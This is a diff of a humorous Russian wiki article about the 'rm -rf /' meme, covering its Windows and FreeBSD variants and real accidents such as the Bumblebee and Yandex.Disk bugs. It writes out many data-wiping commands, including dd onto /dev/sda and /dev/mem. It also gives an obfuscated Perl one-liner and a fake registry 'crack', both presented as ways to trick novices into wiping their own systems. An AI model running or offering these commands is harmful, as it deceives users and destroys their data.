| [досмотренная версия] | [ожидает проверки] |
|
|
| | [[FreeBSD]] понимает эту команду в несколько изменённом виде: '''rm -fr /''', а в последних версиях данная вещь не работает из-за использования флагов файловой системы (их надо сначала снять — chflags -R −0 /). В зависимости от уровня безопасности системы, может потребоваться перезагрузка в однопользовательский режим, что есть геморойно. | | [[FreeBSD]] понимает эту команду в несколько изменённом виде: '''rm -fr /''', а в последних версиях данная вещь не работает из-за использования флагов файловой системы (их надо сначала снять — chflags -R −0 /). В зависимости от уровня безопасности системы, может потребоваться перезагрузка в однопользовательский режим, что есть геморойно. |
| | | | |
| − | [[Windows]] понимает эту команду как '''rmdir /s /q C:\''' или '''rd /s /q C:\''', где /s — аналог -r, а /q — аналог -f. При этом удаляется только содержимое диска C: из-за отличий в файловой системе. Впрочем, есть и другой способ: установить [[:w:Cygwin|Cygwin]] и воспользоваться традиционной командой. | + | [[Windows]] понимает эту команду как '''rmdir /s /q C:\''' или '''rd /s /q C:\''', где /s — аналог -r, а /q — аналог -f. При этом удаляется только содержимое диска C: из-за отличий в файловой системе: в мелкомягких ОС начиная с MS-[[DOS]] 1.0 рут не один, а до 26 разных, и одной «страшной» командой типа rmdir /s, deltree или format можно грохнуть только один диск за раз. В винде теоретически есть суперкорень «Мой компьютер», но этот каталог виртуальный, фиктивный и не существует в реальной файловой системе, поэтому «страшные команды» по нему не проходят как по негодному аргументу. Впрочем, есть и другой способ: установить [[:w:Cygwin|Cygwin]] и воспользоваться традиционной командой. |
| | | | |
| | == Использование == | | == Использование == |
|
|
| | | | |
| | Использование команды двояко: | | Использование команды двояко: |
| − | * В качестве травли линукс-[[нуб]]ов; [http://old.wom.ru/one.phtml?num=77] | + | * В качестве травли линукс-[[нуб]]ов или тонкого намёка пойти нахуй; [http://archive.today/E2zng] |
| | * В качестве травли [[ламер]]ов, которые работают в системе, в том числе сидят в интернетах, из-под [[рут]]а. Обычно в этом случае заветная строчка [[Программа из одной строчки на Perl|маскируется]] (ибо примитивный вариант проходит только с нубами): | | * В качестве травли [[ламер]]ов, которые работают в системе, в том числе сидят в интернетах, из-под [[рут]]а. Обычно в этом случае заветная строчка [[Программа из одной строчки на Perl|маскируется]] (ибо примитивный вариант проходит только с нубами): |
| | <pre>echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' </pre> | | <pre>echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' </pre> |
|
|
| | </nowiki></pre> | | </nowiki></pre> |
| | | | |
| − | Под Виндой-95-98 данный патч был всё-таки портирован и принял вид | + | Под Windows 9x данный патч был всё-таки портирован и принял вид |
| | <code>deltree /y e: d: c:</code><br /> | | <code>deltree /y e: d: c:</code><br /> |
| − | Почему такой порядок дисков? Чтобы сначала удалились мегабайты прона (тогда гигами не меряли), а затем система. Также предлагался «универсальный ключ реестра для избавления от шароварности программ», который записывал сию команду в Run, а заодно отключал мышь и клаву. При следующей загрузке, если юзер и догадывался о причине странного жужжания винта, спасти мог только [[быстро, решительно|быстрый, решительный]] Reset (но юзер загипнотизированно смотрел на зависший мышекурсор и вспоминал о кнопке, когда было уже поздно). | + | Почему такой порядок дисков? Чтобы сначала удалились мегабайты прона на отдельных хардах/разделах (тогда гигами не меряли), а затем система. Также предлагался «универсальный ключ реестра для избавления от шароварности программ», который записывал сию команду в Run, а заодно отключал мышь и клаву. При следующей загрузке, если юзер и догадывался о причине странного жужжания винта, спасти мог только [[быстро, решительно|быстрый, решительный]] Reset (но юзер загипнотизированно смотрел на зависший мышекурсор и вспоминал о кнопке, когда было уже поздно). |
| | | | |
| | Также, вариант для новых <code>coreutils</code>: | | Также, вариант для новых <code>coreutils</code>: |
|
|
| | | | |
| | === rm -rf /usr и Bumblebee === | | === rm -rf /usr и Bumblebee === |
| − | Недавний пример [[Я случайно X|случайного]] использования мема случился летом 2011 года в проекте [[Трансформеры|Bumblebee]], представляющем собой [[костыль]] для поддержки технологии NVidia Optimus в ноутбуках с двумя видеокартами. Файл install.sh в исходниках данного проекта содержал безобидную строчку | + | Недавний пример [[Я случайно X|случайного]] использования мема случился летом 2011 года в проекте [[Трансформеры|Bumblebee]], представляющем собой [[костыль]] для поддержки технологии NVidia Optimus в ноутбуках с двумя видеокартами. Файл install.sh в исходниках данного проекта содержал безобидную строчку с [[Очепятка|лишним пробелом]]: |
| | <source lang="bash"> | | <source lang="bash"> |
| | rm -rf /usr /lib/nvidia-current/xorg/xorg | | rm -rf /usr /lib/nvidia-current/xorg/xorg |
|
|
| | | | |
| | === rmdir /s /q C:\ и Яндекс<nowiki>.</nowiki>Диск === | | === rmdir /s /q C:\ и Яндекс<nowiki>.</nowiki>Диск === |
| − | В конце ноября — начале декабря 2013 г. счастливые пользователи [[Яндекс]]<nowiki>.</nowiki>Диска были обрадованы тем, что их ОС либо наотрез отказалась запускаться, либо запускалась, но без установленных программ. Как [http://habrahabr.ru/post/204580/ выяснилось], всему виной оказалось обновление Яндекс. Диска, которое отличилось широкой русской душой и вместо папки со старой версией «Диска» удаляло весь диск C:, на котором тот находился. Что характерно, проблема возникала прежде всего у пользователей, нарушивших заповедь «[[Не работай под рутом]]», вот только у многих считающих себя умнее системных архитекторов [[Windows]] юзверей это — нормальная ситуация. Особенно доставили объяснения менеджера Яндекса, призвавшего пользователей не удалять Яндекс<nowiki>.</nowiki>Диск, потому что патч Бармина скрывался именно в модуле деинсталляции. Спешите видеть — Яндекс взял в заложники ваш жесткий диск и хладнокровно убьет его, если вы попытаетесь удалить захватчика! | + | В конце ноября — начале декабря 2013 г. счастливые пользователи [[Яндекс]]<nowiki>.</nowiki>Диска были обрадованы тем, что их ОС либо наотрез отказалась запускаться, либо запускалась, но без установленных программ. Как [http://habrahabr.ru/post/204580/ выяснилось], всему виной оказалось обновление Яндекс.Диска, которое отличилось широкой русской душой и вместо папки со старой версией «Диска» удаляло весь диск C:, на котором тот находился. Что характерно, проблема возникала прежде всего у пользователей, нарушивших заповедь «[[Не работай под рутом]]», вот только у многих считающих себя умнее системных архитекторов [[Windows]] юзверей это — нормальная ситуация. Особенно доставили объяснения менеджера Яндекса, призвавшего пользователей не удалять Яндекс.Диск, потому что патч Бармина скрывался именно в модуле деинсталляции. Спешите видеть — Яндекс взял в заложники ваш жесткий диск и хладнокровно убьет его, если вы попытаетесь удалить захватчика! |
| | + | |
| | + | === rm -rf my-company === |
| | + | Марко Марсала, который когда-то был хостинг-провайдером. Небольшим таким хостинг-провайдером с полутора тысячами пользователей. И он случайно запустил на всех серверах bash-скрипт, содержащий строчку <nowiki>rm -rf {foo}/{bar}</nowiki>. И всё бы ничего, но он забыл придать какие-нибудь значения переменным foo и bar… Когда Марко пришёл на айтишный форум спрашивать, как теперь можно починить всё взад, ему так и не удалось добиться внятного ответа, потому что форумные петросяны, вместо того, чтобы посочувствовать, наперебой спешили сообщить ему, что он смог одной строчкой кода [http://www.independent.co.uk/life-style/gadgets-and-tech/news/man-accidentally-deletes-his-entire-company-with-one-line-of-bad-code-a6984256.html удалить свою компанию]. |
| | | | |
| | == Патч Бармина == | | == Патч Бармина == |
|
|
| | # [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "Жив" | | # [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "Жив" |
| | | | |
| − | Играть в Русскую Рулетку имеют право только администраторы (root), желательно на сервере, имеющем свыше 3000 посещений в день. | + | Играть в Русскую Рулетку имеют право только администраторы (root), желательно на сервере, имеющем [[:w:Закон о блогерах|свыше 3000 посещений в день]]. |
| | Как было выяснено админами Ниеншанца (на практике), данная комбинация успешно работает в Linux и FreeBSD в последних версиях coreutils. | | Как было выяснено админами Ниеншанца (на практике), данная комбинация успешно работает в Linux и FreeBSD в последних версиях coreutils. |
| | | | |
|
|
| | | | |
| | Забавный эффект обнаруживался, если директория /tmp была пустая. Корпорация объяснила это тем, что в solaris путь для find — обязателен, а в Linux — нет. | | Забавный эффект обнаруживался, если директория /tmp была пустая. Корпорация объяснила это тем, что в solaris путь для find — обязателен, а в Linux — нет. |
| | + | |
| | + | === Патч Бармина живее всех живых === |
| | + | В конце января 2016 некий арчевод решил поиграться этим известным патчем перед тем как переразметить свой диск. |
| | + | Он старательно вписал в команду даже специальный ключ, без которого этот патч не запускается… Ну… и… получил кирпич из своего MSI нетбука — после включения даже подсветка экрана не загоралась! |
| | + | |
| | + | Как нетрудно догадаться патч вытер вместе с корнем еще и переменные UEFI в NVRAM, которые монтируются в /sys/firmware/efi/efivars/, но принципиально это не могло быть проблемой, потому как по стандарту UEFI должна проверять целостность данных в NVRAM, и в случае нарушения целостности она ОБЯЗАНА осуществить инициализацию NVRAM до состояния настроек по умолчанию/фабричных (Factory Default). Но вот в MSI решили подзабить на проверку целостности NVRAM, и незадачливый арчевод потащил свой <del>нетбук</del> кирпич в сервис. |
| | + | |
| | + | После этой новости состоялся эпичненький наезд[https://github.com/systemd/systemd/issues/2402] на [[Леннарт Поттеринг|разработчиков]] systemd (а на них — грех не поругаться, они же сами постоянно подкидывают <del>подлянки</del> поводы для вполне обоснованной ругани в свой адрес): мол какого лешего, SystemD монтирует эти переменные с возможностью записи!? Давайте быстро переделывайте на монтирование в режиме только-чтение. На что был дан резонный ответ — доступ на запись нужен утилитам, и разрешена запись только руту, который при желании примонтирует эти переменные в режиме записи. Так что, это не защитит от <del>идиотов</del> <del>дураков</del> «умников», которые экспериментируют с патчем Бармина. |
| | + | |
| | + | Самое же примечательное в этой истории то, что 20 лет назад отпущенная шутка, до сих пор стреляет, да еще с невиданной доселе мощью. |
| | | | |
| | === Пруфлинки === | | === Пруфлинки === |
|
|
| | * [http://www.linux.org.ru/view-message.jsp?msgid=392747 Просьба о помощи Perl-программисту на LOR'е] | | * [http://www.linux.org.ru/view-message.jsp?msgid=392747 Просьба о помощи Perl-программисту на LOR'е] |
| | * [https://downloads.avaya.com/css/P8/documents/100177034 PSN Avaya об удалении файлов] | | * [https://downloads.avaya.com/css/P8/documents/100177034 PSN Avaya об удалении файлов] |
| | + | * [http://www.opennet.ru/opennews/art.shtml?num=43795 О новой супер-силе патча на сиcтемах с UEFI] |
| | | | |
| | == Алсо == | | == Алсо == |
| − | Есть более кровожадный вариант sudo dd if=/dev/zero of=/dev/sda, который заполняет все нулями, вероятность сохранения данных обратно пропорциональна времени реакции поциэнта (с момента нажатия на [Enter] до момента прерывания команды нервным нажатием Ctrl+C). | + | Есть более кровожадный вариант sudo dd if=/dev/zero of=/dev/sda, который заполняет раздел носитель /dev/sda нулями, вероятность сохранения данных обратно пропорциональна времени реакции поциэнта (с момента нажатия на [Enter] до момента прерывания команды нервным нажатием Ctrl+C). |
| | + | |
| | + | После этого уже в первую секунду даже на дешевом механическом 5400RPM HDD занулит 40 мегабайт вместе с таблицей разделов, загрузчиком и остальными метаданными файловой системы. И оно уже никогда не загрузится |
| | + | без дополнительного геморроя. |
| | + | |
| | + | Вообще довольно странно, что rm -rf победил dataset definition в массовом сознании. Ведь он гораздо более разрушителен и кошерен. |
| | + | |
| | + | Можно например сделать адовый скример перенаправив весь жесткий диск в звуковую карту. |
| | + | |
| | + | <pre> sudo dd if=/dev/hda of=/dev/dsp bs=8M </pre> |
| | + | |
| | + | Или тупо забивать оперативную память случайными числами. |
| | + | |
| | + | <pre> sudo dd if=/dev/urandom of=/dev/mem bs=8M </pre> |
| | + | |
| | + | Жаль что там нет псевдоустройства для доступа к BIOS прошивке, тогда можно было бы окончательно решить вопрос с материнской платой красноглазика, если у него (U)EFI BIOS и то благодаря [[Леннарт Поттеринг|Поттерингу]]: [https://www.linux.org.ru/news/kernel/12318786] |
| | | | |
| | == Ссылки == | | == Ссылки == |
| − | * [http://www.citforum.ru/operating_systems/manpages/RM.1.shtml Ман на русском по команде «rm»] | + | * [http://www.opennet.ru/man.shtml?topic=rm&category=1&russian=0 Ман на русском по команде «rm»] |
| − | * [http://forum.maemoworld.ru/viewtopic.php?id=2946 Жертва команды] | + | * [http://web.archive.org/web/20130530052149/http://meegos.ru/forum/viewtopic.php?id=2946 Жертва команды] |
| | * [http://web.archive.org/web/20110623080108/https://github.com/MrMEEE/bumblebee/commit/a047be85247755cdbe0acce6 Это случается с лучшим из нас] | | * [http://web.archive.org/web/20110623080108/https://github.com/MrMEEE/bumblebee/commit/a047be85247755cdbe0acce6 Это случается с лучшим из нас] |
| − | * [http://forum.ubuntu.ru/index.php?topic=84741.0 Жертва dd if=/dev/zero of=/dev/sda] | + | * [http://web.archive.org/web/20140303130907/http://forum.ubuntu.ru:80/index.php?topic=84741.0 Жертва dd if=/dev/zero of=/dev/sda] |
| | | | |
| | == См. также == | | == См. также == |
| | * [[Программа из одной строчки на Perl]] | | * [[Программа из одной строчки на Perl]] |
| − | * [[Alt F4]] | + | * [[Alt+F4]] |
| | * [[127.0.0.1]] | | * [[127.0.0.1]] |
| | * [[Wishmaster]] | | * [[Wishmaster]] |
| | * [[Крякер инета]] | | * [[Крякер инета]] |
| | * [[Quit|/quit]] | | * [[Quit|/quit]] |
| − | * [[RM]]
| |
| − | * [[Rf]]
| |
| − |
| |
| | | | |
| | {{Оси}} | | {{Оси}} |